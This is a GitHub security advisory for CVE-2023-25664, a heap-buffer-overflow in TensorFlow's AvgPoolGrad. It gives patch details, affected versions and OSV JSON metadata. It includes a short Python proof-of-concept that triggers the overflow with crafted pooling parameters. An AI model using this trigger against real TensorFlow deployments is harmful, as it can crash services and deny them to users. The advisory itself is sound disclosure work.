ghsa-6hg6-5c2q-7rcr
Vulnerability from github
Published
2023-03-24 21:58
Modified
2023-03-27 22:00
Summary
TensorFlow has Heap-buffer-overflow in AvgPoolGrad
Details

Impact

python import os os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0' import tensorflow as tf print(tf.__version__) with tf.device("CPU"): ksize = [1, 40, 128, 1] strides = [1, 128, 128, 30] padding = "SAME" data_format = "NHWC" orig_input_shape = [11, 9, 78, 9] grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32) res = tf.raw_ops.AvgPoolGrad( ksize=ksize, strides=strides, padding=padding, data_format=data_format, orig_input_shape=orig_input_shape, grad=grad, )

Patches

We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by evn@google.com

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-25664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-120",
      "CWE-122"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-24T21:58:04Z",
    "nvd_published_at": "2023-03-25T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n```python\nimport os\nos.environ[\u0027TF_ENABLE_ONEDNN_OPTS\u0027] = \u00270\u0027\nimport tensorflow as tf\nprint(tf.__version__)\nwith tf.device(\"CPU\"):\n    ksize = [1, 40, 128, 1]\n    strides = [1, 128, 128, 30]\n    padding = \"SAME\"\n    data_format = \"NHWC\"\n    orig_input_shape = [11, 9, 78, 9]\n    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)\n    res = tf.raw_ops.AvgPoolGrad(\n        ksize=ksize,\n        strides=strides,\n        padding=padding,\n        data_format=data_format,\n        orig_input_shape=orig_input_shape,\n        grad=grad,\n    )\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by \u003cevn@google.com\u003e\n",
  "id": "GHSA-6hg6-5c2q-7rcr",
  "modified": "2023-03-27T22:00:19Z",
  "published": "2023-03-24T21:58:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6hg6-5c2q-7rcr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25664"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TensorFlow has Heap-buffer-overflow in AvgPoolGrad "
}


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